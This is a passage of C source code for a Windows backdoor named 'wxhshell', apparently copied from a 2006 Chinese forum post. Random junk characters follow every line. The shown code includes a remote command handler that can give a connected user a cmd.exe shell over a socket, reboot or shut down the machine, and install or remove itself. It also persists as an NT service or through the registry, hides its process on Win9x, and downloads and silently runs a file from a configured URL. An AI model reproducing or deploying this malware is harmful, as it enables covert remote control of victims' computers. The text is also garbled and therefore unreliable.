  "J$vt`  
  // 帮助 wtaeF+u-R-  
  case '?': { *joM[ML` 6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iN<Tn8-YH6  
    break; a>6!?:Rj  
  } S&FMFXF@  
  // 安装 5s`NR<|2L  
  case 'i': { @32JMS<  
    if(Install()) hK?uGt d?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LC2t,!RRl&  
    else o^biO!4,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1: XT r  
    break; MYDAS-  
    } M{1't  
  // 卸载 ]=7}Y%6  
  case 'r': { l\JoWL  
    if(Uninstall()) )FYz*:f>&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NbSkauF~b  
    else X^7bOFWE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7C F-?M!  
    break; C([TolZ  
    } R=xT\i{4h  
  // 显示 wxhshell 所在路径 PohG y  
  case 'p': { 9H`Q |7g(5  
    char svExeFile[MAX_PATH]; 7jvf:#\LtL  
    strcpy(svExeFile,"\n\r"); 8N'[ )Jw  
      strcat(svExeFile,ExeFile); m6bAvy]3<t  
        send(wsh,svExeFile,strlen(svExeFile),0); P_ U[OM\  
    break; MZv In ZS  
    } 4,`Yx s)%  
  // 重启 vm_+U*%c  
  case 'b': { .IE2d%]?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `,3;#.[D  
    if(Boot(REBOOT)) H_un3x1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~G ?&"]  
    else { %@Bl,!BJ,  
    closesocket(wsh); 5(]=?$$*t  
    ExitThread(0); l q~^&\_#  
    } P{h;2b{  
    break; An{`'U(l  
    } qk<(iVUO  
  // 关机 @2nar<  
  case 'd': { g ]e^;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YKlYo~fGN9  
    if(Boot(SHUTDOWN)) ]6bh#N;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +mIO*UQi  
    else { Tu"bbc  
    closesocket(wsh); Kc$j<MRtv  
    ExitThread(0); _Ryt|# y  
    } Dp3&@M"^yY  
    break; dDK4I3a  
    } B4Ko,=pg  
  // 获取shell 7o_1PwKS6  
  case 's': { ry)g<OA  
    CmdShell(wsh); pnl7a$z  
    closesocket(wsh); A)/8j2  
    ExitThread(0); S:aAR*<6  
    break; FrT.<3  
  } ek\8u`GC  
  // 退出 7}>Zq`]~  
  case 'x': { E%8Op{zv_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5tfD*j n  
    CloseIt(wsh); jGy%O3/  
    break; Gmi ^2?Z(  
    } cetHpU ,  
  // 离开 {| ~  
  case 'q': { $23*:)&J4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @{/GdB,}  
    closesocket(wsh); w{TZN{Y  
    WSACleanup(); paCC'*bv  
    exit(1);  t~_vzG  
    break; ~C M%WvS  
        } bvn%E H  
  } Ad7N '1O  
  } 3lr9nBR  
0#Ivo<V  
  // 提示信息 v<0\+}T1R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C.]\4e  
} zy8Z68%E`*  
  } ={g.Fn(_  
w1 ;:B%!H  
  return; 9d kuvk}:  
} C?dQ QB$  
fGdT2}gd  
// shell模块句柄 A$ 2AYQ  
int CmdShell(SOCKET sock) "2'4b  
{ y-#{v.|L  
STARTUPINFO si; X%X`o%AqC  
ZeroMemory(&si,sizeof(si)); 3bK.8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q+<{2oVz  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mM#[XKOC<  
PROCESS_INFORMATION ProcessInfo; LOO<)XFJ  
char cmdline[]="cmd"; 2eC`^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xxy (#j$  
  return 0; Th.Mn}1%L  
} 2 .p?gRO  
_s{;9&qX]  
// 自身启动模式 t/$:g9V%FA  
int StartFromService(void) #3~hF)u&/  
{ ]nIH0k3y  
typedef struct wjzR 8g0bQ  
{ /`kM0=MMa  
  DWORD ExitStatus; 18eB\4NlD  
  DWORD PebBaseAddress; WY& [%r  
  DWORD AffinityMask; #r,LV}*qg  
  DWORD BasePriority; 1Zo"Xb  
  ULONG UniqueProcessId; w. c]   
  ULONG InheritedFromUniqueProcessId; )lh Pl  
}   PROCESS_BASIC_INFORMATION; Hd_W5R  
w;p~|!  
PROCNTQSIP NtQueryInformationProcess; e+~Q58oD  
).$q9G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xg.o7-^M  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -dyN Ah?=  
F1A7l"X]  
  HANDLE             hProcess; 360b`zS  
  PROCESS_BASIC_INFORMATION pbi; Ze.\<^-t  
}lQ`ka  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  o%SD\zk  
  if(NULL == hInst ) return 0; 0ZAT;eaB  
#d*)W3e2{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %AJTU3=0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); al1Nmc #  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yx\I&\i  
d:!A`sk7  
  if (!NtQueryInformationProcess) return 0; Dt~ |)L+  
MhL>6rn  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FoKAF &h7  
  if(!hProcess) return 0; N <e72x  
kSUpEV+/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xH4Qv[k Q7  
aovw'O\Q  
  CloseHandle(hProcess); L ]Y6/Q   
Z=.$mFE\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yt[vd8O'c  
if(hProcess==NULL) return 0; e. '6q ($3  
!mIr_d2"  
HMODULE hMod; 7^FJ+gN8b  
char procName[255]; !v\ _<8  
unsigned long cbNeeded; h%PbM`:}6  
~YQH]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ZcE:r+  
&cf(}  
  CloseHandle(hProcess); +i@{h9"6g  
I-L:;~.  
if(strstr(procName,"services")) return 1; // 以服务启动 0nsjihw  
iOrpr,@  
  return 0; // 注册表启动 `Kb"`}`_vm  
} ] ^ s,  
 3PUyua'  
// 主模块 oD.[T)G?  
int StartWxhshell(LPSTR lpCmdLine)   !XQq*  
{ L/KiE+Y  
  SOCKET wsl; |PxTm  
BOOL val=TRUE; fq<JX5DER  
  int port=0; s ;2ih)[  
  struct sockaddr_in door; BI|YaZa+p  
:lE_hY  
  if(wscfg.ws_autoins) Install(); )cV*cDL1j  
"pMx(  
port=atoi(lpCmdLine); kCHYLv3.  
tl"?AQcBR  
if(port<=0) port=wscfg.ws_port; yOswqhz  
fWs@ZCt  
  WSADATA data; 'Da*MGu9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; w#^z:7fI  
!4mg]~G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <! Z06  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $!v:@vNMs  
  door.sin_family = AF_INET; @Yj+u2!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); d}^G790  
  door.sin_port = htons(port); W|CZA  
W,f XHYst  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?aWMU?S  
closesocket(wsl); TGH"OXV*@  
return 1; gZ@z}CIw'  
} N%Uk/ c'  
n^iq?u  
  if(listen(wsl,2) == INVALID_SOCKET) { y Q-{ CJ,  
closesocket(wsl); rsn^Y C  
return 1; LTw.w:"J  
} "I,=L;p  
  Wxhshell(wsl); Xrr3KQaK&  
  WSACleanup(); f!Mx +ky  
?k$'po*Eq  
return 0; Fk#$@^c@  
4 Kh0evZ  
} bPA >xAH  
@0 #JY:"  
// 以NT服务方式启动 CmxQb,Uls  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ybU_x  
{ c^1tXu|&  
DWORD   status = 0; $*+IsP!  
  DWORD   specificError = 0xfffffff; sc&u NfJ  
X'J!.Jj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 6~^ M<E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |*( R$tX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /Ref54  
  serviceStatus.dwWin32ExitCode     = 0; .]YTS  
  serviceStatus.dwServiceSpecificExitCode = 0; Om_- #S  
  serviceStatus.dwCheckPoint       = 0; mqK}y K^P]  
  serviceStatus.dwWaitHint       = 0; A)_HSIVi  
-pW*6??+?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q<>b3X>O  
  if (hServiceStatusHandle==0) return; *f o>  
 7 T  
status = GetLastError(); 722:2 {  
  if (status!=NO_ERROR) (vFO'jtcB-  
{ Y/ I32@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k}0b7er=R  
    serviceStatus.dwCheckPoint       = 0; "1Y'VpKm(~  
    serviceStatus.dwWaitHint       = 0; yT-qT_.  
    serviceStatus.dwWin32ExitCode     = status; gy Ey=@L  
    serviceStatus.dwServiceSpecificExitCode = specificError; %J L P=(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hsHbT^Qm  
    return; 8Dkq+H93  
  } ,lcS J^yr  
Y?ZzFd,i&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NXX/JJ+w  
  serviceStatus.dwCheckPoint       = 0; z/,&w_8,:  
  serviceStatus.dwWaitHint       = 0; L+8{%\UPd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Wf Qi8  
} CE@[Z  
}<^QW't_Y  
// 处理NT服务事件,比如:启动、停止 FfNUFx2N  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &%`WXe-`R  
{ nJ}@9v F/  
switch(fdwControl) H[RX~Xk2E  
{ 8n35lI ( [  
case SERVICE_CONTROL_STOP: +c$:#9$ |  
  serviceStatus.dwWin32ExitCode = 0; K3k{q90   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; h [@}} 6  
  serviceStatus.dwCheckPoint   = 0; Lp) P7Yt-  
  serviceStatus.dwWaitHint     = 0; 66-tNy  
  { `|2g &Vn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ejc>  
  } tl; b~k  
  return; jyB Ys& v  
case SERVICE_CONTROL_PAUSE: @'<=E AXe  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,KCxNdg^#-  
  break; 6Ey@)p..E  
case SERVICE_CONTROL_CONTINUE: waU2C2!w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h[mJ=LIrg  
  break; On|b-  
case SERVICE_CONTROL_INTERROGATE: 5z&>NI  
  break; 6AdC  
}; 1 obajN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d( yTz&u)  
} ]h,iyWSs  
wXtp(YwlH  
// 标准应用程序主函数 Y,Lx6kU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5>lIrBf  
{ &->ngzg  
#{?~XS  
// 获取操作系统版本 fejC ,H4I  
OsIsNt=GetOsVer(); 9Dbbk/j|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }3_ >  
7"F29\  
  // 从命令行安装 a7685Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); j^%N:BQ&  
\ef:H&r  
  // 下载执行文件 ^HxIy;EQ<z  
if(wscfg.ws_downexe) { I1 Otu~%d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yfal'DqKF  
  WinExec(wscfg.ws_filenam,SW_HIDE); *E]:VZl  
} +D2I~hC0'  
W>5[_d  
if(!OsIsNt) { TbaZFLr  
// 如果时win9x,隐藏进程并且设置为注册表启动 \!xCmQ  
HideProc(); Y::O*I2  
StartWxhshell(lpCmdLine); je5[.VTM  
} C57m{RH  
else #;f50j!r  
  if(StartFromService()) +w-J;GLSy  
  // 以服务方式启动 i\O^s ]  
  StartServiceCtrlDispatcher(DispatchTable); )*`h)`\y  
else x[0O*ty-*<  
  // 普通方式启动 RD46@Q`  
  StartWxhshell(lpCmdLine); {xH?b0>  
~Hu!iZ2]  
return 0; ]T'7+5w  
}
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只看该作者 1 发表于: 2006-10-10
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